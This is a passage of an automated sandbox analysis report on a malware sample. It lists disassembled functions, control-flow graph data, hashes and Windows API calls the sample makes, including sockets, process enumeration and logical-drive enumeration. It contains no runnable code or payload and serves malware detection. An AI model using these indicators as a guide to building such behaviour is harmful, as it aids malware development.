                                                            • Instruction ID: d9ab6f2caf12be523240494c84a67cf0be5a3da58aab1b3800c11ceba4b82f9d
                                                            • Opcode Fuzzy Hash: 73d845bcde0cec4b498fc422f226ffa0d5087556c5929de9b7597490c44c08b3
                                                            • Instruction Fuzzy Hash: 4C012BD0A457C156FB11BB3CBD1B7A536915B52304F4404B8EC88962D2F76DC649C593
                                                            Function 006DAA30 Relevance: 4.9, APIs: 3, Instructions: 377networkCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1580 6daa30-6daa64 1582 6daa6a-6daaa7 call 6ce730 1580->1582 1583 6dab04-6dab09 1580->1583 1587 6dab0e-6dab13 1582->1587 1588 6daaa9-6daabd 1582->1588 1584 6dae80-6dae89 1583->1584 1591 6dae2e 1587->1591 1589 6daabf-6daac7 1588->1589 1590 6dab18-6dab50 1588->1590 1589->1591 1592 6daacd-6dab02 1589->1592 1597 6dab58-6dab6d 1590->1597 1593 6dae30-6dae4a call 6cea60 call 6cebf0 1591->1593 1592->1597 1605 6dae4c-6dae57 1593->1605 1606 6dae75-6dae7d 1593->1606 1599 6dab6f-6dab73 1597->1599 1600 6dab96-6dabab socket 1597->1600 1599->1600 1604 6dab75-6dab8f 1599->1604 1600->1591 1603 6dabb1-6dabc5 1600->1603 1607 6dabc7-6dabca 1603->1607 1608 6dabd0-6dabed ioctlsocket 1603->1608 1604->1603 1617 6dab91 1604->1617 1609 6dae6e-6dae74 1605->1609 1610 6dae59-6dae5e 1605->1610 1606->1584 1607->1608 1611 6dad2e-6dad39 1607->1611 1612 6dabef-6dac0a 1608->1612 1613 6dac10-6dac14 1608->1613 1609->1606 1610->1609 1618 6dae60-6dae6c 1610->1618 1615 6dad3b-6dad4c 1611->1615 1616 6dad52-6dad56 1611->1616 1612->1613 1623 6dae29 1612->1623 1619 6dac37-6dac41 1613->1619 1620 6dac16-6dac31 1613->1620 1615->1616 1615->1623 1622 6dad5c-6dad6b 1616->1622 1616->1623 1617->1591 1618->1606 1626 6dac7a-6dac7e 1619->1626 1627 6dac43-6dac46 1619->1627 1620->1619 1620->1623 1631 6dad70-6dad78 1622->1631 1623->1591 1629 6dace7-6dacfe 1626->1629 1630 6dac80-6dac9b 1626->1630 1634 6dac4c-6dac51 1627->1634 1635 6dad04-6dad08 1627->1635 1629->1635 1630->1629 1636 6dac9d-6dacc1 1630->1636 1637 6dad7a-6dad7f 1631->1637 1638 6dada0-6dadae connect 1631->1638 1634->1635 1640 6dac57-6dac78 1634->1640 1635->1611 1639 6dad0a-6dad28 1635->1639 1641 6dacc6-6dacd7 1636->1641 1637->1638 1642 6dad81-6dad99 1637->1642 1643 6dadb3-6dadcf 1638->1643 1639->1611 1639->1623 1640->1641 1641->1623 1649 6dacdd-6dace5 1641->1649 1642->1643 1650 6dae8a-6dae91 1643->1650 1651 6dadd5-6dadd8 1643->1651 1649->1629 1649->1635 1650->1593 1652 6dadda-6daddf 1651->1652 1653 6dade1-6dadf1 1651->1653 1652->1631 1652->1653 1654 6dae0d-6dae12 1653->1654 1655 6dadf3-6dae07 1653->1655 1656 6dae1a-6dae1c call 6daf70 1654->1656 1657 6dae14-6dae17 1654->1657 1655->1654 1660 6daea8-6daead 1655->1660 1661 6dae21-6dae23 1656->1661 1657->1656 1660->1593 1662 6dae25-6dae27 1661->1662 1663 6dae93-6dae9d 1661->1663 1662->1593 1664 6daeaf-6daeb1 call 6ce760 1663->1664 1665 6dae9f-6daea6 call 6ce7c0 1663->1665 1669 6daeb6-6daebe 1664->1669 1665->1669 1670 6daf1a-6daf1f 1669->1670 1671 6daec0-6daedb call 6ce180 1669->1671 1670->1593 1671->1593 1674 6daee1-6daeec 1671->1674 1675 6daeee-6daeff 1674->1675 1676 6daf02-6daf06 1674->1676 1675->1676 1677 6daf0e-6daf15 1676->1677 1678 6daf08-6daf0b 1676->1678 1677->1584 1678->1677
                                                            APIs
                                                            • socket.WS2_32(FFFFFFFF,?,00000000), ref: 006DAB9B
                                                            • ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 006DABE3
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: ioctlsocketsocket
                                                            • String ID:
                                                            • API String ID: 416004797-0
                                                            • Opcode ID: 46033ba8e8eab1e47f323d5baa188a92c073c5d7053d6131d61328f14c2f89ff
                                                            • Instruction ID: 27f9312668fed7bac60d4d4433f3d6f6df3dbab9cdb0f95ce75684c703149360
                                                            • Opcode Fuzzy Hash: 46033ba8e8eab1e47f323d5baa188a92c073c5d7053d6131d61328f14c2f89ff
                                                            • Instruction Fuzzy Hash: 2AE1E270A083019BE720CFA4C884BAB77E6EF85310F044A2EF9999B391D775D945DB93
                                                            Function 073804A3 Relevance: 4.2, APIs: 1, Strings: 1, Instructions: 664COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798401592.0000000007380000.00000040.00001000.00020000.00000000.sdmp, Offset: 07380000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7380000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: m5=
                                                            • API String ID: 0-3722596353
                                                            • Opcode ID: 9b4c78751c49881845529f4a7183f10bd37ea2190c45815eb6a31440ee708bf7
                                                            • Instruction ID: 203dda700b896fc044ac1dfcf1d5297c388f0e1625e30d67ca2eb15d8c96a089
                                                            • Opcode Fuzzy Hash: 9b4c78751c49881845529f4a7183f10bd37ea2190c45815eb6a31440ee708bf7
                                                            • Instruction Fuzzy Hash: A2D126FB25C321BDB28AA5556B54AFA676DE6C7330B308076F40FD7A02E2F48A4D1171
                                                            Function 07380824 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 479COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Process32FirstW.KERNEL32(00000030,12AFAE26,12AFAE26,?), ref: 073808C8
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798401592.0000000007380000.00000040.00001000.00020000.00000000.sdmp, Offset: 07380000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7380000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: FirstProcess32
                                                            • String ID: m5=
                                                            • API String ID: 2623510744-3722596353
                                                            • Opcode ID: 2ad4924510b0b590ca1961241be39e5082c4153ecc07406eb994dca0cf4022d9
                                                            • Instruction ID: 24d031e9b1c726148c2d4919c28997cd860aaf4797237b1f75043a526b421e75
                                                            • Opcode Fuzzy Hash: 2ad4924510b0b590ca1961241be39e5082c4153ecc07406eb994dca0cf4022d9
                                                            • Instruction Fuzzy Hash: 26A108FB11C321BDB18AE5556B14AFA676DE6C7730B308426F40FD6E02E2B48E8E1571
                                                            Function 073807D8 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 474COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Process32FirstW.KERNEL32(00000030,12AFAE26,12AFAE26,?), ref: 073808C8
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798401592.0000000007380000.00000040.00001000.00020000.00000000.sdmp, Offset: 07380000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7380000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: FirstProcess32
                                                            • String ID: m5=
                                                            • API String ID: 2623510744-3722596353
                                                            • Opcode ID: cfd048b3d0e3d59fc42082bf72d6664262ca1f2257d45d497e9ce5c351b12030
                                                            • Instruction ID: d3f9b594f16fc5c8e56aebd7997249ec481a0d267bca7c49243f5167eb465470
                                                            • Opcode Fuzzy Hash: cfd048b3d0e3d59fc42082bf72d6664262ca1f2257d45d497e9ce5c351b12030
                                                            • Instruction Fuzzy Hash: B2A1E6FB11C321BDB18AE5556B14AFA676DE6C7730B308466F40FDAA02E2B48E8D1171
                                                            Function 0738083D Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 457COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Process32FirstW.KERNEL32(00000030,12AFAE26,12AFAE26,?), ref: 073808C8
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798401592.0000000007380000.00000040.00001000.00020000.00000000.sdmp, Offset: 07380000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7380000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: FirstProcess32
                                                            • String ID: m5=
                                                            • API String ID: 2623510744-3722596353
                                                            • Opcode ID: 909fa3ab18c03dfb795249eeaf551d7ac2618ac20e4f413521c96be2a6535890
                                                            • Instruction ID: 22662c1bb161906d4b531cf8a164467ccec8388be9c8c0e8d1a4717b3d010a1c
                                                            • Opcode Fuzzy Hash: 909fa3ab18c03dfb795249eeaf551d7ac2618ac20e4f413521c96be2a6535890
                                                            • Instruction Fuzzy Hash: 029106FB11C321BDB18AE5556B14AFA677EE6C7730B308466F40FD6A02E2B48E8D1171
                                                            Function 0738081B Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 452COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Process32FirstW.KERNEL32(00000030,12AFAE26,12AFAE26,?), ref: 073808C8
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798401592.0000000007380000.00000040.00001000.00020000.00000000.sdmp, Offset: 07380000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7380000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: FirstProcess32
                                                            • String ID: m5=
                                                            • API String ID: 2623510744-3722596353
                                                            • Opcode ID: 197fb8dc2a43090d7b74badffb12cb78fc0d0bf3a8c3448cfb911b558c66e176
                                                            • Instruction ID: 8a9864e01b6e99c1b3702d6654d520ac5e6b5474c965a8bbcab465e206e0310c
                                                            • Opcode Fuzzy Hash: 197fb8dc2a43090d7b74badffb12cb78fc0d0bf3a8c3448cfb911b558c66e176
                                                            • Instruction Fuzzy Hash: D591C5FB11C321BDB18AE5956B14AFA676DE6C7730B308476F40FD6A02E2B48E8D1171
                                                            Function 07380869 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 442COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Process32FirstW.KERNEL32(00000030,12AFAE26,12AFAE26,?), ref: 073808C8
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798401592.0000000007380000.00000040.00001000.00020000.00000000.sdmp, Offset: 07380000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7380000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: FirstProcess32
                                                            • String ID: m5=
                                                            • API String ID: 2623510744-3722596353
                                                            • Opcode ID: fa012fa7748c397f39ca3c692e1af99f2ff43bdf80696e011f3f85b4d65982b7
                                                            • Instruction ID: b172bfe11bb4bfa81af72402e07da6f71c0ecb090081c438786f1cd036f4b449
                                                            • Opcode Fuzzy Hash: fa012fa7748c397f39ca3c692e1af99f2ff43bdf80696e011f3f85b4d65982b7
                                                            • Instruction Fuzzy Hash: F69107FB11C321BDB18AE5556B14AFA676DE6C7730B308477F40FDAA02E2A48E8D1171
                                                            Function 073808AF Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 413COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Process32FirstW.KERNEL32(00000030,12AFAE26,12AFAE26,?), ref: 073808C8
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798401592.0000000007380000.00000040.00001000.00020000.00000000.sdmp, Offset: 07380000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7380000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: FirstProcess32
                                                            • String ID: m5=
                                                            • API String ID: 2623510744-3722596353
                                                            • Opcode ID: 37d8d8dfa0898cb4d7b48f93a260634c1f14807f96ca2e74212249a566ad15a6
                                                            • Instruction ID: 26a6a98a3a7763631075d5c60be220c4a35b65ddde1f9eaffab56f20470c9da2
                                                            • Opcode Fuzzy Hash: 37d8d8dfa0898cb4d7b48f93a260634c1f14807f96ca2e74212249a566ad15a6
                                                            • Instruction Fuzzy Hash: 0281F6FB11C321BDB18AE5956B14AFA676DE6C7730B308467F40FD6A02E2B48A4D1171
                                                            Function 073409F5 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 297COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: A:\
                                                            • API String ID: 0-3379428675
                                                            • Opcode ID: 35bdedb14212014f02b9fcafabf98fcf461d8bcf079107b830f3e140c0a79b43
                                                            • Instruction ID: 17b5ecd19e6639642b6c4e528b9cd3c516abca8d2e9a448c0c38c185004154af
                                                            • Opcode Fuzzy Hash: 35bdedb14212014f02b9fcafabf98fcf461d8bcf079107b830f3e140c0a79b43
                                                            • Instruction Fuzzy Hash: FC514DE775C255FEB21E80511B50AFA2BEED6C3230F3084E6F54BCAA02E2949E4D4171
                                                            Function 07340AAE Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 243COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID: A:\
                                                            • API String ID: 999431828-3379428675
                                                            • Opcode ID: 3507b49883d5b324ffc76521bd97ea1dd2150aee449e83e820c79a58eb590811
                                                            • Instruction ID: 60b2ce9f1985dd1770ba6c7d14d512c354264646a71be427c866777c5ebe087f
                                                            • Opcode Fuzzy Hash: 3507b49883d5b324ffc76521bd97ea1dd2150aee449e83e820c79a58eb590811
                                                            • Instruction Fuzzy Hash: AB51F7E732C124FE711E80811B54BFB2AEED6D3330F3084E6B64FDAA01E694AE495135
                                                            Function 07340BC2 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 218COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: A:\
                                                            • API String ID: 0-3379428675
                                                            • Opcode ID: 534db9d92f3f8c15455fb5662d6d98d7b3092589680ec696821c2658f2e91f12
                                                            • Instruction ID: 221e06a2e5d52a0a2398f483a65777617c8972031771410535ccb074543c15a1
                                                            • Opcode Fuzzy Hash: 534db9d92f3f8c15455fb5662d6d98d7b3092589680ec696821c2658f2e91f12
                                                            • Instruction Fuzzy Hash: 3541F8E771C115FEB21E80911B50BFB2BAED6D3330F3084A6F64BDAA01E6A4AD495131
                                                            Function 07340B56 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 209COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID: A:\
                                                            • API String ID: 999431828-3379428675
                                                            • Opcode ID: 2b138a4e7844dadbe35e9af60bd54d91941b961a5b84f8547536883d3b3d7161
                                                            • Instruction ID: fd95d979ab31f3414cc9c92ee5b6cee0c61744f0fd3c988bec2562b684358194
                                                            • Opcode Fuzzy Hash: 2b138a4e7844dadbe35e9af60bd54d91941b961a5b84f8547536883d3b3d7161
                                                            • Instruction Fuzzy Hash: 534107E732C115FE721E80915B54AFA2BAED6D3330F3084E6F64BDBA01E6946D494131
                                                            Function 07340B1B Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 205COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID: A:\
                                                            • API String ID: 999431828-3379428675
                                                            • Opcode ID: 52efc73c9a2ad18cae7778efcdbc70cf0e0cbdd71580e4eeed31750a6d8d4990
                                                            • Instruction ID: ed9af3ef51cadaa413fcb6c0ac7f81c6d628d09c72b421ef162b714b1cd37a95
                                                            • Opcode Fuzzy Hash: 52efc73c9a2ad18cae7778efcdbc70cf0e0cbdd71580e4eeed31750a6d8d4990
                                                            • Instruction Fuzzy Hash: 5141F9E772C115FE711E80911B50AFA2BEED6D3330F3084E6F64BDAA01E694AD495135
                                                            Function 07340B6E Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 201COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID: A:\
                                                            • API String ID: 999431828-3379428675
                                                            • Opcode ID: f2911c17ccbba17c0d525edba9222eb56d3d8d198baaa40ea79bde7113cbb95b
                                                            • Instruction ID: 98ed3505d03b70ca9d0b58c82e792ecb248e37ca8dd503d00733359cca604c2e
                                                            • Opcode Fuzzy Hash: f2911c17ccbba17c0d525edba9222eb56d3d8d198baaa40ea79bde7113cbb95b
                                                            • Instruction Fuzzy Hash: A34119E732C115FEB21E80915B54BFA2BEED6D3330F3084E6F64BDAA01E6A46D494131
                                                            Function 07340BE1 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 200COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: A:\
                                                            • API String ID: 0-3379428675
                                                            • Opcode ID: 32898f8f70eec9368ce9b204720272a727accbc842c9070691c30d9cf57ef4e0
                                                            • Instruction ID: 14d53ce44c45fc81bf030f96b57bafe38954e8d8b59ea7ee9ed9ccd4d312e759
                                                            • Opcode Fuzzy Hash: 32898f8f70eec9368ce9b204720272a727accbc842c9070691c30d9cf57ef4e0
                                                            • Instruction Fuzzy Hash: 38415BE772C254EEB21E80915B50AFB2BEED6D3230F3084E6F64BDBA01E6946D494131
                                                            Function 07340B8D Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 197COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: A:\
                                                            • API String ID: 0-3379428675
                                                            • Opcode ID: 85e819b78549f84ece2c1b50ad3424d95219a5e504c29002c4d684ee34ff0522
                                                            • Instruction ID: 47c36f8c7149c7ceb0fdda479259d56c35edad96df7f56b8b3f285e78e567566
                                                            • Opcode Fuzzy Hash: 85e819b78549f84ece2c1b50ad3424d95219a5e504c29002c4d684ee34ff0522
                                                            • Instruction Fuzzy Hash: D341F9E771C115EEB21E80915754AFA2BEEE6D7330F3084E6F64BCBA01E6A46E494131
                                                            Function 07340BAB Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 188COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID: A:\
                                                            • API String ID: 999431828-3379428675
                                                            • Opcode ID: 9ed8e508bd20631c25004e16293f29ca97ed93d0388ddca2d0deccbcb16d61a8
                                                            • Instruction ID: 0a67b8a51aa3f0e6476d3214c86c5a342efebab88bd5ec426f24ede65e7153f6
                                                            • Opcode Fuzzy Hash: 9ed8e508bd20631c25004e16293f29ca97ed93d0388ddca2d0deccbcb16d61a8
                                                            • Instruction Fuzzy Hash: C8411BF771C114FEB21E809157546FE2BEED6D3230F3084E6F54BDAA01E6A46D494131
                                                            Function 07340C04 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 166COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID: A:\
                                                            • API String ID: 999431828-3379428675
                                                            • Opcode ID: e0683b50179e559851e56e1935d9d6a7ae21c6323981c7c9c6775e50d8e5c39e
                                                            • Instruction ID: 254b47a2b90441f31c549e51c8247d42771d2131ba9a468d206270a23fefd066
                                                            • Opcode Fuzzy Hash: e0683b50179e559851e56e1935d9d6a7ae21c6323981c7c9c6775e50d8e5c39e
                                                            • Instruction Fuzzy Hash: F83128F772C115EEB21E80915B50AFA2BEED6D7330F3084E6F64BCAA05E6A46D494131
                                                            Function 07340D0B Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 158COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID: A:\
                                                            • API String ID: 999431828-3379428675
                                                            • Opcode ID: c8e8cade5a58125b1fce8093cd3123c40a04302f7dce0c256935d9400f9c5b40
                                                            • Instruction ID: 04dbcf29376eb9a09ac4f248c8000c2a2da8aa6c6bc2fdb968f84c2c029dc136
                                                            • Opcode Fuzzy Hash: c8e8cade5a58125b1fce8093cd3123c40a04302f7dce0c256935d9400f9c5b40
                                                            • Instruction Fuzzy Hash: 92318CE771C115EFB60E81A556946FA2FEEDBD7230F3080E5E28FDB601E5A06C4A8511
                                                            Function 07340C2E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 147COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID: A:\
                                                            • API String ID: 999431828-3379428675
                                                            • Opcode ID: 626228378abfee4f7dd519ccb50e4909c57f4c8d26a9ccadafb685232d52e6c6
                                                            • Instruction ID: 57e0d8cff9eda8a0ac98f49d9027893818cd02cb32240e56e55d3e9db51f2994
                                                            • Opcode Fuzzy Hash: 626228378abfee4f7dd519ccb50e4909c57f4c8d26a9ccadafb685232d52e6c6
                                                            • Instruction Fuzzy Hash: 123127E772C215EEB21E809157506FE2ADED7D7230F3084E6B64FDBA05E5A06D494131
                                                            Function 07340C95 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 145COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID: A:\
                                                            • API String ID: 999431828-3379428675
                                                            • Opcode ID: e41be8a1d80b7aa525c39967d0a00b159ea608042bbeb44a9dea6b720862c821
                                                            • Instruction ID: e3e14e94bd31458e5955b28cd2bdcb9e60acb092a2e3e3ca41d5712ed1dd9558
                                                            • Opcode Fuzzy Hash: e41be8a1d80b7aa525c39967d0a00b159ea608042bbeb44a9dea6b720862c821
                                                            • Instruction Fuzzy Hash: D03168E771C215EFB21E44A54A516FB2BEEDBD3230F3080E6B64BCB641E9A06D494161
                                                            Function 07340C5C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 138COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID: A:\
                                                            • API String ID: 999431828-3379428675
                                                            • Opcode ID: 3511676265eeee67001ca995c89bbbbfa21574c613f1bf68c46d9a7cf063f65c
                                                            • Instruction ID: 02b24b4ec75aa4ae06c4ec955c08a0b4ec65163f44b3871a4a463015118392c8
                                                            • Opcode Fuzzy Hash: 3511676265eeee67001ca995c89bbbbfa21574c613f1bf68c46d9a7cf063f65c
                                                            • Instruction Fuzzy Hash: BD314DE7728215EFB20E859157406FA2BEEDBD7330F3080E6F24FCBA01E5A46D594621
                                                            Function 07340C75 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 135COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
